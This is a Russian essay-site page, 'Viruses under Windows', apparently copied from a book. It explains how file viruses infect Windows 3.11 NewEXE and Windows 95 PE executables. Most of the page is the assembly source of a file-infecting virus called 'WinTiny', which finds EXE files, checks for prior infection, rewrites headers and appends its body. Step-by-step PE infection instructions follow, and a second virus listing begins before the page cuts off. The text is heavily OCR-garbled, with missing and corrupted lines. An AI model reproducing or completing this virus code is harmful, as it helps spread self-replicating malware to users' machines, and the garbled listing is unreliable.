![]() |
|
|
Доклад: Вирусы под WindowsДоклад: Вирусы под WindowsВИРУСЫ ПОД WINDOWS В этой главе рассказано Вирусы под Windows 3.11 В исполняемом файле Windows содержатся в различных комбинациях Как же заразить Windows NewEXE? На первый взгляд файл формата Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше, Заголовок NewEXE начинается с символов "NE". Далее идет собствен- Итак, порядок действий: 1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8. 2. Заголовок NewEXE сдвигается на 8 байт назад. 3. В таблицу сегментов добавляется новый элемент, описывающий 4. CS:IP NewEXE изменяется на начало вирусного кода, само тело Для загрузки в память (надо перехватить вектор INT 21h из-под В качестве примера приведен полный исходный текст вируса под Windows. .286 .MODEL TINY ;Сохраним регистры и флаги .Проверим, доступен ли DPMI. Если доступен, mov ax,1686h int 2Fh or ax, ax jz dpmi_exist ;Восстановим регистры и флаги pop es pop ds popa popf .Запустим программу-носитель db OEAh ;Выделим линейный блок памяти, используя DPMI ;Сохраним индекс и 32-битный линейный адрес push si ~^ push di push bx push ex ;Создадим дескриптор в таблице LDT ;B поле адреса полученного дескриптора mov bx,ax mov ах,7 pop dx pop ex int •31h ;B поле предела полученного дескриптора mov ах,8 mov dx,OFFFFh хог сх.сх int 31h ;В поле прав доступа полученного дескриптора установим значение, mov ах,9 mov cl, 1111001 Ob хог ch,ch int 31h ;3агрузим селектор в регистр DS. После этого регистр DS будет .Читаем из стека и сохраняем в памяти pop [mem_hnd+2] pop [mem_hnd] Получим текущую DTA ;Найдем первый ЕХЕ-файл (маска *.ЕХЕ) mov dx,OFFSET wild_exe ;Если файл найден, перейдем к заражению, иначе освободим ;0свободим выделенную область памяти .Запустим программу-носитель .Перейдем к следующему файлу - этот не подходит ; Закроем файл ;Найдем следующий файл ;Если файл найден, перейдем к заражению, иначе освободим ;0свободим выделенную область памяти ;3апустим программу-носитель ;Файл найден, проверим его на пригодность к заражению ;0ткроем файл для чтения и записи Ids dx, DWORD PTR [DTA] .Прочтем старый заголовок ;Проверим сигнатуру, это ЕХЕ-файл? [Проверим смещение таблицы настройки адресов. ;Если значение больше 40h, то это не обычный ЕХЕ-файл. ;Не будем сразу делать вывод, ;что это NewEXE, потому^что это может оказаться ;РЕ-, LE-, LX-executable или другой ;(PE-executable описан в разделе, [посвященном Windows 95, остальные ;типы ЕХЕ-файлов в этой книге не рассматриваются) cmp [old_hdr+18h],WORD PTR 40h jb close_exe .Перейдем ко второму заголовку (может быть, это NewEXE?): Переводим указатель к смещению, обозначенному в поле 3Ch mov dx.WORD PTR [old_hdr+3Ch] mov cx.WORD PTR [old_hdr+3Eh] mov ax,4200h int 21h ; Прочитаем второй заголовок [Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл [Проверим, для Windows ли предназначен этот файл. Если да, будем mov al,[new_hdr+36h] and al,2 jz close_exe .Переместим указатель чтения/записи в таблицу сегментов, mov dx.WORD PTR [new_hdr+16h] ;По номеру сегмента вычислим положение соответствующего ему dec dx shi dx,3 ;K результату прибавим смещение таблицы сегментов и смещение add dx,WORD PTR [new_hdr+22h] add dx.WORO PTR [old_hdr+3ch] mov cx.WORD PTR [old_hdr+3eh] [Переместим указатель чтения/записи [Прочтем из таблицы сегментов смещение логического сектора .Вычислим смещение сегмента, опираясь на значения mov dx.WORD PTR [temp] mov cx.WORD PTR [new_hdr+32h] xor ax.ax cal_entry: shi dx,1 rcl ax,1 loop cal_entry .Переместим 16 старших бит 32-битного результата в регистр СХ ;Прибавим к результату смещение стартового адреса (IP) ;Переместим указатель позиции чтения/записи на точку старта mov ax,4200h int 21 h ;Считаем первые 10 байт после старта программы Проверим, заражен ли файл. Если считанные 10 байт в точности mov si.OFFSET temp push cs pop es xor di.di mov ex, 8 eld rep cmpsw jne ok_to_infect jmp close_exe Приступим к заражению Переместим NE-заголовок на 8 байт ближе к началу файла. sub WORD PTR [old_hdr+3ch],8 ; Исправим значения таблиц в новом заголовке, чтобы переместились add WORD PTR [new_hdr+4],8 add WORD PTR [new_hdr+24h],8 add WORD PTR [new_hdr+26h],8 add WORD PTR [new_hdr+28h],8 add WORD PTR [new_hdr+2ah],8 ;Сохраним оригинальные значения точек входа CS и IP pushTWORD PTR [new_hdr+16h] ;Добавим еще один сегмент в таблицу сегментов и установим mov WORD PTR [new_hdr+14h],0 inc WORD PTR [new_hdr+1ch] push WORD PTR [new_hdr+1ch] pop WORD PTR [new_hdr+16h] .Переместим указатель чтения/записи в начало файла хог сх.сх xor dx.dx mov ax,4200h int 21 h ;3апишем старый заголовок, так как модифицированы mov dx.OFFSET old_hdr mov cx,40h mov ah,40h int 21 h ;Переместим указатель чтения/записи на начало нового mov dx.WORD PTR [old_hdr+3ch] mov cx,WORD PTR [old_hdr+3eh] mov ax,4200h ;3апишем новый заголовок, так как в его копии mov dx, OFFSET new_hdr mov cx,40h mov ah,40h int 21h .Переместим указатель чтения/записи на 8 байт хог сх.сх mov dx,8 mov ax,4201 h int 21h рассчитаем размер таблицы сегментов и считаем ее в память Переместим указатель чтения/записи назад, к позиции pop dx push dx add dx,8 neg dx mov cx,-1 mov ax,4201h int 21h ;3апишем таблицу сегментов в файл, но не на ее прежнее место, mov dx,OFFSET temp pop ex mov ah,40h int 21h .Прочтем текущую позицию чтения/записи (конец таблицы сегментов) ;Сохраним в стеке текущую позицию чтения/записи .Получим длину файла, переместив указатель xor сх.сх xor dx,dx mov ax,4202h int 21 h ;Сохраним в стеке длину файла ;Вычислим и сохраним длину логического сектора ;Вычислим длину файла в логических секторах -.Учтем неполный сектор. Если в результате получился or dx,dx jz no_rmd inc ax ;3аполним поля нового элемента в таблице сегментов 3-1436 mov [my_seg_entry+2],OFFSET vir_end mov [my_seg_entry+4],180h mov [my_seg_entry+6],OFFSET vir_end ;Восстановим из стека позицию в файле конца таблицы секторов Переместим указатель чтения/записи к этой позиции .Запишем в конец таблицы новый элемент ;Скопируем тело вируса в область памяти, которую выделили ;в начале программы, для изменений в нем. В защищенном режиме ;(а работаем именно в нем), нельзя производить запись в сегмент ;кода. Если по какой-то причине нужно произвести изменение ;в сегменте кода, создается алиасный дескриптор данных ;(дескриптор, содержащий то же смещение и длину, ;что и сегмент кода), и дальнейшая работа ведется с ним. ;В данном случае просто воспользуемся выделенным блоком памяти push ds pop es push cs pop ds xor si,si mov di,OFFSET temp mov ex,OFFSET vir_end eld rep movsb push es pop ds Инициализируем адрес точки входа Переместим указатель чтения/записи на новую точку входа mov ax,[my_seg_entry] mov cx,[log_sec_len] mul ex mov cx.dx mov dx.ax mov ax,4200h int 21h ;3апишем тело вируса в файл mov dx, OFFSET temp mov ex,OFFSET vir_end mov ah,40h int 21h .Инициализируем поля перемещаемого элемента ;3апишем перемещаемый элемент [Закроем файл .Освободим выделенный блок памяти ;3апустим программу-носитель .Процедура, освобождающая выделенный блок памяти mov ax,0502h mov si,[mem_hnd] mov di,[mem_hnd+2] з* int 31 h ; Маска для поиска файлов ;Имя вируса DB "WinTiny" ;Идентификатор, указывающий на конец инициализированных данных .Индекс выделенного блока памяти ;Адрес текущей DTA ;Место для хранения старого заголовка .Место для хранения нового заголовка ;Длина логического номера сектора ; Новый элемент в таблице сегментов DW ? DW ? DW ? .Перемещаемый элемент DB ? DB ? DW? ;3начение оригинальной точки входа ;0бласть памяти для использования Вирусы под Windows 95 Формат Portable Executable используется Win32, Windows NT вызов Windows 95 API Обычные приложения вызывают Windows 95 API (Application Program Эта проблема решается непосредственным вызовом KERNEL32. То есть Чтобы получить описатель (Handle) DLL/EXE, можно использовать Как вызывать API, имея возможность вызывать его и в то же время та- Вызов API приложениями выглядит приблизительно так: call APLFUNCTIONJMAME call CreateFileA db 9Ah .инструкция call Код в таблице переходов похож на такой: jmp far [offset into import table] Смещение в таблице импортируемых имен содержит адрес диспетчера push function value Зная точки входа, можно вызывать их напрямую, минуя таблицу этого Модуль KERNEL32 располагается в памяти статически - именно так Адреса и номера функций Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для Таблица 3.1. Адреса некоторых функций KERNEL
Соглашения о вызовах Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя FARPROC GetProcAddress( HMODULE hModule, // описатель DLL-модуля ); На первый взгляд кажется, что достаточно лишь сохранить в стеке опи- push offset IpszProc push dword ptr [hModule] call GetProcAddress Используя 32-битный отладчик, можно оттрассировать вызов и найти Заражение файлов формата PE-executable Определение положения начала РЕ-заголовка происходит аналогично Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее Основные действия заражения PE-executable файла: 1. Найти смещение заголовка PE-executable в файле. 2. Считать достаточное количество информации из заголовка для 3. Считать весь РЕ-заголовок и таблицу объектов. 4. Добавить новый объект в таблицу объектов. 5. Установить точку входа RVA на новый объект. 6. Дописать вирус к файлу по вычисленному физическому смещению. 7. Записать измененный РЕ-заголовок в файл. Для чтения таблицы объектов необходимо считать HeaderSize байт Таблица объектов расположена непосредственно за NT-заголовком. Зна- Добавление объекта: получив количество объектов, умножить его на 40 Данные для элемента таблицы объектов должны быть вычислены с исполь- RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1) *OBJ Alignment Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1) *OBJ Alignment Physical Size=(size of virus/File Alignment+1 )*File Alignment Physical Offset=prev Physical Offset+prev Physical Size Object Flags=db 40h,0,O.COh Entrypoint RVA=RVA Теперь необходимо увеличить на единицу поле "количество объектов" Пример вируса под Windows 95 .386 locals jumps .model flat.STDCALL include win32.inc некоторые 32-битные константы и структуры L equ <LARGE> ;0пределим внешние функции, к которым будет подключаться вирус Страницы: 1, 2 |
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
![]() |
|
Рефераты бесплатно, реферат бесплатно, курсовые работы, реферат, доклады, рефераты, рефераты скачать, рефераты на тему, сочинения, курсовые, дипломы, научные работы и многое другое. |
||
При использовании материалов - ссылка на сайт обязательна. |